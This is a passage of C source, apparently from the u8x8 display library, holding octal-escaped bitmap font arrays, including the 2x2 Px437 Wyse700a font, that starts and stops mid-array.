\";\\77\\77\\77\\10\\10||||\\200\\200\\300\\300``\\60\\60\\20\\20\\4\\4\\6\\6\\3\\3!!\\62\\62::\"\n  \"..$$\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\354\\354\\354\\354\\0\\0\\0\\0\\0\\0\\0\\0\\4\\16\\16\\37\\33\\21\\21\\20\\30\\34\"\n  \"\\14\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\306\\306\\346\\346\\60\\60\\30\\30\\60\\60\\346\\346\\306\\306\\0\\0\\37\\37\\37\\37\\2\\2\\2\\2\\2\\2\"\n  \"\\37\\37\\37\\37\\0\\0\\300\\300\\342\\342\\67\\67\\25\\25\\67\\67\\342\\342\\300\\300\\0\\0\\37\\37\\37\\37\\2\\2\\2\\2\\2\\2\"\n  \"\\37\\37\\37\\37\\0\\0\\360\\360\\370\\370\\214\\214\\204\\204\\374\\374\\374\\374\\204\\204\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\37\\37\"\n  \"\\37\\37\\20\\20\\0\\0\\360\\370\\370\\374\\14\\4\\4\\4\\4\\14\\14\\30\\30\\0\\0\\0\\3\\7GOLHHXX|\"\n  \"|&&\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\20\\364\\364\\366\\366\\23\\23\\21\\21\\60\\60\\60\\60\\0\\0\\20\\20\\37\\37\\37\\37\\21\\21\\21\\21\"\n  \"\\31\\31\\30\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\364\\364\\366\\366\\302\\302\\206\\206\\4\\4\\366\\366\\362\\362\\0\\0\\37\\37\\37\\37\\1\\1\\3\\3\\7\\7\\37\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\306\\346\\346\\366\\60\\20\\20\\20\\60\\366\\346\\346\\306\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\366\\366\\366\\366\\0\\0\\0\\0\\0\\366\\366\\366\\366\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\340\\360\\360\\220\\220\\220\\220\\220\\360\\360``\\0\\0\\0\\37\\37\\77\\77\\4\\4\\4\\4\\4\\7\"\n  \"\\7\\3\\3\\0\\0\\0\\0\\0DDLLXX\\320\\320\\200\\200\\0\\0\\0\\0\\16\\16\\37\\37\\21\\21\\21\\21\\17\\17\"\n  \"\\37\\37\\20\\20\\0\\0\\0\\0PPXXLL\\304\\304\\200\\200\\0\\0\\0\\0\\16\\16\\37\\37\\21\\21\\21\\21\\17\\17\"\n  \"\\37\\37\\20\\20\\0\\0\\0\\0PPXXLL\\330\\330\\220\\220\\0\\0\\0\\0\\16\\16\\37\\37\\21\\21\\21\\21\\17\\17\"\n  \"\\37\\37\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\30\\30XX@@@@\\330\\330\\230\\230\\0\\0\\0\\0\\16\\16\\37\\37\\21\\21\\21\\21\\17\\17\"\n  \"\\37\\37\\20\\20\\0\\0\\0\\0HH\\134\\134TT\\334\\334\\210\\210\\0\\0\\0\\0\\16\\16\\37\\37\\21\\21\\21\\21\\17\\17\"\n  \"\\37\\37\\20\\20\\0\\0@@@@\\300\\300\\300\\300@@\\300\\300\\300\\200\\14\\36\\36\\36\\22\\22\\37\\37\\37\\37\\22\\22\"\n  \"\\23\\23\\23\\21\\0\\0\\300\\300\\340\\340    ``@@\\0\\0\\0\\0\\3\\3''$$,,>>\"\n  \"\\22\\22\\0\\0\\0\\0\\200\\200\\304\\304LLXXPP\\300\\300\\200\\200\\0\\0\\17\\17\\37\\37\\22\\22\\22\\22\\22\\22\"\n  \"\\33\\33\\13\\13\\0\\0\\200\\200\\300\\300PPXXLL\\304\\304\\200\\200\\0\\0\\17\\17\\37\\37\\22\\22\\22\\22\\22\\22\"\n  \"\\33\\33\\13\\13\\0\\0\\200\\200\\320\\320XXLLXX\\320\\320\\200\\200\\0\\0\\17\\17\\37\\37\\22\\22\\22\\22\\22\\22\"\n  \"\\33\\33\\13\\13\\0\\0\\230\\230\\330\\330@@@@XX\\330\\330\\200\\200\\0\\0\\17\\17\\37\\37\\22\\22\\22\\22\\22\\22\"\n  \"\\33\\33\\13\\13\\0\\0\\4\\4LL\\330\\330\\320\\320\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0PP\\330\\330\\314\\314\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\20XX\\314\\314\\314\\314\\30\\30\\20\\20\\0\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\30\\30XX\\300\\300\\300\\300\\30\\30\\30\\30\\0\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0PP\\330\\330\\210\\210XXP\\320\\330\\330\\210\\10\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\37\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\200\\204\\304\\314LXX\\320\\320\\200\\200\\0\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\200\\220\\320\\330XLL\\304\\304\\200\\200\\0\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\220\\220\\330\\330LLX\\330\\320\\220\\200\\0\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\30\\230\\230\\330\\300@@@\\300\\330\\230\\230\\30\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\200\\200\\200\\200\\200\\230\\230\\230\\230\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\304\\304\\14\\14\\30\\30\\320\\320\\300\\300\\0\\0\\0\\0\\17\\17\\37\\37\\20\\20\\20\\20\\17\\17\"\n  \"\\37\\37\\20\\20\\0\\0\\300\\300\\320\\320\\30\\30\\14\\14\\304\\304\\300\\300\\0\\0\\0\\0\\17\\17\\37\\37\\20\\20\\20\\20\\17\\17\"\n  \"\\37\\37\\20\\20\\0\\0\\320\\320\\330\\330\\14\\14\\14\\14\\330\\330\\320\\320\\0\\0\\0\\0\\17\\17\\37\\37\\20\\20\\20\\20\\17\\17\"\n  \"\\37\\37\\20\\20\\0\\0\\330\\330\\330\\330\\0\\0\\0\\0\\330\\330\\330\\330\\0\\0\\0\\0\\17\\17\\37\\37\\20\\20\\20\\20\\17\\17\"\n  \"\\37\\37\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\330\\330\\330\\330\\0\\0\\0\\0\\0\\330\\330\\330\\330\\0\\0\\0\\3\\7GOLHHHh\\177\"\n  \"\\77\\77\\37\";\n/*\n  Fontname: -FreeType-Px437 Wyse700a-Medium-R-Normal--16-160-72-72-P-131-ISO10646-1\n  Copyright: Outline (vector) version (c) 2015 VileR\n  Glyphs: 96/288\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_px437wyse700a_2x2_r[3077] U8X8_FONT_SECTION(\"u8x8_font_px437wyse700a_2x2_r\") = \n  \" \\177\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0p\\370\\374\\374\\374\\374\\370p\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\33\\33\\33\\33\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\6\\16\\36\\36\\0\\0\\0\\0\\36\\36\\16\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0  \\370\\370\\370    \\370\\370\\370  \\0\\0\\4\\4\\37\\37\\37\\4\\4\\4\\4\\37\\37\"\n  \"\\37\\4\\4\\0\\0\\0\\60xx\\374\\317\\207\\207\\217\\234\\30\\30\\20\\0\\0\\0\\0\\4\\14\\14\\34xppy\\37\\17\"\n  \"\\17\\6\\0\\0\\0\\0\\60\\60\\60\\60\\0\\200\\300\\340\\360p\\60\\20\\0\\0\\0\\0\\20\\30\\34\\36\\17\\7\\3\\1\\30\\30\"\n  \"\\30\\30\\0\\0\\0\\0\\20\\70\\270\\374\\354\\304\\354|\\70\\270\\220\\200\\200\\0\\0\\6\\17\\17\\37\\31\\21\\21\\33\\17\\17\\37\"\n  \"\\37\\31\\20\\0\\0\\0\\0\\20\\36\\36\\36\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\374\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\34\\30\\20\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\\34\\374\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\30\\34\\37\\17\"\n  \"\\7\\3\\0\\0\\0\\200\\240\\240\\340\\340\\300\\300\\300\\300\\340\\340\\240\\240\\200\\0\\0\\0\\2\\2\\3\\3\\1\\1\\1\\1\\3\\3\"\n  \"\\2\\2\\0\\0\\0\\200\\200\\200\\200\\200\\360\\360\\360\\360\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 <<\\34\\14\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\30\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360x\\70\\30\\10\\0\\0\\0\\0\\10\\14\\16\\17\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\370\\374\\14\\204\\304l\\374\\370\\370\\360\\0\\0\\0\\0\\7\\17\\17\\37\\33\\21\\20\\30\\37\\17\"\n  \"\\17\\7\\0\\0\\0\\0\\20\\20\\30\\30\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\37\\37\\37\\37\\20\\20\"\n  \"\\20\\20\\0\\0\\0\\0\\10\\10\\14\\14\\4\\4\\204\\314\\374\\370x\\60\\0\\0\\0\\0\\30\\34\\36\\36\\27\\23\\21\\21\\30\\30\"\n  \"\\30\\30\\0\\0\\0\\0\\10\\10\\14\\14\\204\\204\\204\\204\\314\\374xx\\60\\0\\0\\0\\10\\10\\30\\30\\20\\20\\20\\20\\31\\37\"\n  \"\\17\\17\\6\\0\\0\\0\\200\\300\\340\\360x<\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\21\\21\\37\\37\\37\\37\"\n  \"\\21\\21\\0\\0\\0\\0||||DDDD\\304\\304\\204\\204\\4\\0\\0\\0\\10\\10\\30\\30\\20\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\0\\360\\370\\370\\374\\214\\204\\204\\204\\204\\204\\0\\0\\0\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\31\\37\"\n  \"\\17\\17\\6\\0\\0\\0\\14\\14\\14\\14\\4\\204\\304\\344\\374|<\\34\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\60xx\\374\\314\\204\\204\\204\\314\\374xx\\60\\0\\0\\0\\6\\17\\17\\37\\31\\20\\20\\20\\31\\37\"\n  \"\\17\\17\\6\\0\\0\\0\\60xx\\374\\314\\204\\204\\204\\214\\374\\370\\370\\360\\0\\0\\0\\0\\0\\20\\20\\20\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\34\\34\\34\\14\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360x<\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\36\\34\\30\\20\\0\"\n  \"\\0\\0\\0\\0\\0\\0@@@@@@@@@@@@\\0\\0\\0\\0\\2\\2\\2\\2\\2\\2\\2\\2\\2\\2\"\n  \"\\2\\2\\0\\0\\0\\0\\0\\0\\0\\4\\14\\34<x\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\20\\30\\34\\36\\17\\7\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\20\\30\\30\\34\\14\\204\\304\\354\\374x\\70\\20\\0\\0\\0\\0\\0\\0\\0\\0\\33\\33\\33\\33\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\370\\370\\374\\14\\304\\344\\344$$<\\374\\374\\370\\0\\0\\7\\17\\17\\37\\30\\21\\23\\23\\22\\22\\22\"\n  \"\\23\\23\\1\\0\\0\\0\\300\\340\\360\\370<\\34\\34<\\370\\360\\340\\300\\0\\0\\0\\0\\37\\37\\37\\37\\1\\1\\1\\1\\37\\37\"\n  \"\\37\\37\\0\\0\\0\\4\\4\\374\\374\\374\\374\\204\\204\\204\\314\\374xx\\60\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\20\\31\\37\"\n  \"\\17\\17\\6\\0\\0\\0\\360\\370\\370\\374\\14\\4\\4\\4\\14\\34\\30\\30\\20\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\34\"\n  \"\\14\\14\\4\\0\\0\\4\\4\\374\\374\\374\\374\\4\\4\\4\\14\\374\\370\\370\\360\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\4\\4\\374\\374\\374\\374\\204\\204\\304\\304\\4\\14\\34\\34\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\21\\21\\20\"\n  \"\\30\\34\\34\\0\\0\\4\\4\\374\\374\\374\\374\\204\\204\\304\\304\\4\\14\\34\\34\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\370\\374\\14\\4\\4\\4\\14\\34\\30\\30\\20\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\21\\31\\37\"\n  \"\\17\\37\\37\\0\\0\\0\\374\\374\\374\\374\\200\\200\\200\\200\\200\\374\\374\\374\\374\\0\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\0\\37\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0\\4\\4\\374\\374\\374\\374\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\\374\\374\\374\\374\\4\\4\\0\\0\\0\\4\\14\\14\\34\\30\\30\\30\\37\\17\\17\"\n  \"\\7\\0\\0\\0\\0\\4\\4\\374\\374\\374\\374\\340\\360\\370<\\34\\14\\4\\0\\0\\0\\20\\20\\37\\37\\37\\37\\1\\3\\7\\17\\36\"\n  \"\\34\\30\\20\\0\\0\\4\\4\\374\\374\\374\\374\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\20\\20\\20\"\n  \"\\30\\34\\34\\0\\0\\374\\374\\374\\374\\70p\\340\\340p\\70\\374\\374\\374\\374\\0\\0\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\37\"\n  \"\\37\\37\\37\\0\\0\\0\\374\\374\\374\\374p\\340\\300\\200\\0\\374\\374\\374\\374\\0\\0\\0\\37\\37\\37\\37\\0\\0\\1\\3\\7\\37\"\n  \"\\37\\37\\37\\0\\0\\0\\360\\370\\370\\374\\14\\4\\4\\4\\14\\374\\370\\370\\360\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\4\\4\\374\\374\\374\\374\\204\\204\\204\\314\\374xx\\60\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\370\\370\\374\\14\\4\\4\\4\\14\\374\\370\\370\\360\\0\\0\\0\\7\\17\\17\\37\\30\\22\\26\\36\\34\\77\"\n  \"\\77/\\7\\0\\0\\4\\4\\374\\374\\374\\374\\204\\204\\204\\314\\374xx\\60\\0\\0\\20\\20\\37\\37\\37\\37\\1\\3\\7\\17\\36\"\n  \"\\34\\30\\20\\0\\0\\20\\70\\70|l\\304\\304\\204\\204\\14\\34\\30\\30\\20\\0\\0\\4\\14\\14\\34\\30\\20\\20\\21\\21\\33\\37\"\n  \"\\16\\16\\4\\0\\0\\34\\34\\14\\4\\4\\374\\374\\374\\374\\4\\4\\14\\34\\34\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\0\\0\\0\\0\\0\\374\\374\\374\\374\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\0\\374\\374\\374\\374\\0\\0\\0\\0\\374\\374\\374\\374\\0\\0\\0\\0\\1\\3\\7\\17\\36\\34\\34\\36\\17\\7\"\n  \"\\3\\1\\0\\0\\0\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\0\\0\\7\\17\\37\\37\\34\\16\\7\\7\\16\\34\\37\"\n  \"\\37\\17\\7\\0\\0\\0\\14\\34<|\\360\\340\\340\\360|<\\34\\14\\0\\0\\0\\0\\30\\34\\36\\37\\7\\3\\3\\7\\37\\36\"\n  \"\\34\\30\\0\\0\\0\\0<|\\374\\374\\300\\200\\200\\300\\374\\374|<\\0\\0\\0\\0\\0\\0\\20\\21\\37\\37\\37\\37\\21\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\34\\34\\14\\4\\204\\304\\344\\364|<\\34\\14\\0\\0\\0\\0\\30\\34\\36\\37\\27\\23\\21\\20\\20\\30\"\n  \"\\34\\34\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\20\\20\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\30\\70x\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\16\"\n  \"\\14\\10\\0\\0\\0\\0\\0\\0\\4\\4\\4\\4\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\37\\37\\37\\37\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\30\\34\\36\\17\\7\\7\\17\\36\\34\\30\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@@@@@@@@@@\"\n  \"@@@@\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0@@@@@\\300\\300\\200\\200\\0\\0\\0\\0\\0\\16\\16\\37\\37\\21\\21\\21\\17\\17\\37\"\n  \"\\37\\20\\20\\0\\0\\0\\4\\4\\374\\374\\374\\374@@\\300\\300\\200\\200\\0\\0\\0\\0\\20\\20\\37\\37\\17\\17\\20\\20\\20\\37\"\n  \"\\37\\17\\17\\0\\0\\0\\200\\200\\300\\300@@@@@\\300\\300\\200\\200\\0\\0\\0\\17\\17\\37\\37\\20\\20\\20\\20\\20\\30\"\n  \"\\30\\10\\10\\0\\0\\0\\0\\200\\200\\300\\300DD\\374\\374\\374\\374\\0\\0\\0\\0\\0\\17\\17\\37\\37\\20\\20\\20\\17\\17\\37\"\n  \"\\37\\20\\20\\0\\0\\0\\200\\200\\300\\300@@@@@\\300\\300\\200\\200\\0\\0\\0\\17\\17\\37\\37\\22\\22\\22\\22\\22\\33\"\n  \"\\33\\13\\13\\0\\0\\0\\200\\200\\370\\370\\374\\374\\204\\204\\214\\214\\30\\30\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\\20\\20\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300@@@\\200\\200\\300\\300@@\\0\\0\\0''ooHHH\\177\\177\\77\"\n  \"\\77\\0\\0\\0\\0\\0\\4\\4\\374\\374\\374\\374\\200@@\\300\\300\\200\\200\\0\\0\\0\\20\\20\\37\\37\\37\\37\\0\\0\\0\\37\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0@@\\330\\330\\330\\330\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\"\n  \"\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@\\330\\330\\330\\330\\0\\0\\0\\0\\20\\60\\60p`@@`\\177\\77\"\n  \"\\77\\37\\0\\0\\0\\0\\4\\4\\374\\374\\374\\374\\0\\0\\200\\300\\300\\300@\\0\\0\\0\\20\\20\\37\\37\\37\\37\\2\\7\\17\\37\"\n  \"\\35\\30\\20\\0\\0\\0\\0\\0\\0\\0\\4\\4\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\37\\37\\37\\37\"\n  \"\\20\\20\\0\\0\\0\\300\\300\\300\\300\\300\\300\\200\\200\\300\\300\\300\\300\\300\\200\\0\\0\\37\\37\\37\\37\\0\\37\\37\\37\\37\\0\\37\"\n  \"\\37\\37\\37\\0\\0\\0@@\\300\\300\\200\\200@@\\300\\300\\300\\200\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\0\\0\\0\\37\"\n  \"\\37\\37\\37\\0\\0\\0\\0\\200\\200\\300\\300@@@\\300\\300\\200\\200\\0\\0\\0\\0\\7\\17\\17\\37\\30\\20\\20\\20\\30\\37\"\n  \"\\17\\17\\7\\0\\0\\0@@\\300\\300\\200\\200@@\\300\\300\\200\\200\\0\\0\\0\\0@@\\177\\177\\177\\177HH\\14\\17\"\n  \"\\7\\7\\3\\0\\0\\0\\0\\200\\200\\300\\300@@\\200\\200\\300\\300@@\\0\\0\\0\\3\\7\\7\\17\\14\\10H\\177\\177\\177\"\n  